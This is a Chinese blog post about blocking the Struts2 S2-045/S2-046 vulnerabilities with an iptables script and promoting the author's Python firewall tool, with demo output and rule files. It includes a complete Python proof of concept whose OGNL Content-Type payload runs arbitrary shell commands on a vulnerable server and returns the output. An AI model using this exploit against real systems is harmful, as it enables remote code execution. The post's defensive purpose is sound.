Struts2 S2-046, S2-045 Firewall(漏洞防火墙)

开发中遇到一个问题,Struts2 已经升级到2.3.32但是故障依旧,绞尽脑汁找不出原因。此路不同另寻它路,我便想从运维角度暂时解决这个问题,给开发留出足够的时间解决故障。

于是我想到了iptables 防火墙并下来的这个脚本。

https://github.com/netkiller/firewall/blob/master/shell/struts2.sh

这是一个针对 Struts2 S2-046, S2-045漏洞封杀的防火墙脚本。

首先分析 S2-046, S2-045 漏洞攻击的原理。测试代码如下:

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers



def poc():
    register_openers()
    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+sys.argv[2]+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
   try:
      request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
      response = urllib2.urlopen(request)
      print response.read()
   except Exception,e:
      print e

poc()

攻击原理是想Struts Action Post 注入数据,好了知道这个原来就可以实现封锁了(在不改动一行代码的情况下)

- - - - - - - - -

顺便接受一下我开发的firewall,我用它替代CentOS 7 firewalld。

Install

地址 https://github.com/netkiller/firewall
安装 bash install.sh

防火墙规则连采用面向对象方式,可以加入循环,条件判断等等....

Demo

$ sudo /etc/init.d/firewall 
Usage: /etc/init.d/firewall {start|stop|status|restart}

$ sudo /etc/init.d/firewall start

$ sudo /etc/init.d/firewall status
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination         
   44  6163 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            state RELATED,ESTABLISHED
	0     0 ACCEPT     icmp --  *      *       0.0.0.0/0            0.0.0.0/0           
	0     0 ACCEPT     all  --  lo     *       0.0.0.0/0            0.0.0.0/0           
	0     0 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            tcp dpt:22 state NEW
	0     0 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            multiport dports 443,80 state NEW
	2  2884 REJECT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            reject-with icmp-host-prohibited

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination         
	0     0 REJECT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            reject-with icmp-host-prohibited

Chain OUTPUT (policy ACCEPT 45 packets, 6893 bytes)
 pkts bytes target     prot opt in     out     source               destination         
	0     0 REJECT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            multiport dports 20,21 reject-with icmp-port-unreachable

$ sudo /etc/init.d/firewall stop

Rule file

$ sudo cat /srv/firewall/libexec/www.py 
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from firewall import * 

######################################## 
# Web Application
######################################## 

www = Firewall()
www.flush()
www.policy(www.INPUT,www.ACCEPT)
www.policy(www.OUTPUT,www.ACCEPT)
www.policy(www.FORWARD,www.ACCEPT)
www.input().state(('RELATED','ESTABLISHED')).accept()
www.input().protocol('icmp').accept()
www.input().interface('-i','lo').accept()
www.input().protocol('tcp').dport('22').state('NEW').accept()
www.input().protocol('tcp').dport(('443','80')).state('NEW').accept()
www.output().protocol('tcp').dport(('20','21')).reject()

#www.input().protocol('tcp').inbound('eth0').dport('80').recent('HTTP',2,20).drop()
#www.input().protocol('tcp').inbound('eth0').dport('80').connlimit(30).drop()
#www.input().protocol('tcp').inbound('eth0').dport('80').recent('HTTP').accept()
# DDOS
#www.input().proto('tcp').dport("80").string('XXDD0S').drop()
www.input().reject('--reject-with icmp-host-prohibited')
www.forward().reject('--reject-with icmp-host-prohibited')

def start():
	www.start()
def stop():
	www.stop()
def restart():
	www.stop()
	www.start()
def show():
	www.show()
def status():
	www.status()
def main():
	show()
	return( 0 )

if __name__ == '__main__':
	main()

Testing API

#!/usr/bin/python3
from firewall import Firewall    
single = Firewall()
single.policy(single.INPUT,single.DROP)
single.policy(single.OUTPUT,single.ACCEPT)
single.policy(single.FORWARD,single.DROP)
single.input().protocol('icmp').drop()
single.input().protocol('tcp').dport(('3389','5900')).accept()
single.input().protocol('tcp').dport(('137','138','139','145')).accept()
single.show()
#single.run()
#single.list()

原文发布于微信公众号 - Netkiller(netkiller-ebook)

原文发表时间:2017-04-21

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏编程

Debian/Ubuntu-shell脚本来管理iptables安全策略

前言 在Centos上都有iptables-services或者firewalld等iptables管理工具。那在Debian系列用什么管理工具呢? ? 使用D...

2309
来自专栏刘远飞的专栏

Docker快速入门以及安装使用

docker通过内核虚拟化技术(namespace及cgroups等)来提供容器的资源隔离与安全保障等,由于docker通过操作系统层的虚拟化实现隔离,所以do...

5.9K0
来自专栏运维小白

10.15 iptables filter表案例

iptables常用知识回顾点 iptables -I/-A/-D 后紧跟 链 ,可以是INPUT,OUTPUT,FORWARD iptables -P 用来指...

2039
来自专栏CaiRui

Iptables防火墙

1、简介 iptables是linux/unix自带的一款开源基于包过滤的防火墙工具,使用非常灵活,对硬件资源需求不是很高,是在内核中集成的服务,主要工作在OS...

5688
来自专栏Aloys的开发之路

package-info.java文件详解

pacakge-info.java介绍 pacakge-info.java是一个Java文件,可以添加到任何的Java源码包中。pacakge-info.jav...

2838
来自专栏Java技术栈

Spring Enable*高级应用及原理

Enable* 之前的文章用到了一些Enable*开头的注解,比如EnableAsync、EnableScheduling、EnableAspectJAutoP...

4498
来自专栏Laoqi's Linux运维专列

iptables 扩展案例

iptables filter表小案例 : 案例1: 需要把80,21,22端口放行;但是22端口需要指定特殊的IP地址段可以访问,其它的均不可以访问;使用sh...

3496
来自专栏ppjun专栏

网管入门系列——在ubuntu配置iptables

iptables是用来设置、维护和检查Linux内核的IP包过滤规则的。就是一个ip防火墙,也就是说我们无论用什么端口访问别人还是别人用什么端口来访问我们,都要...

3362
来自专栏iOS技术杂谈

iOS网络——AFNetworking AFHttpSessionManager源码解析

你要知道的NSURLSession都在这里 转载请注明出处 https://cloud.tencent.com/developer/user/1605429 本...

6478
来自专栏架构师之旅

【Java SE】Java NIO系列教程(七)FileChannel

英文:Jakob Jenkov 译文:ifeve - 周泰 链接:http://ifeve.com/file-channel/ Java NIO中的FileCh...

2048

扫码关注云+社区

领取腾讯云代金券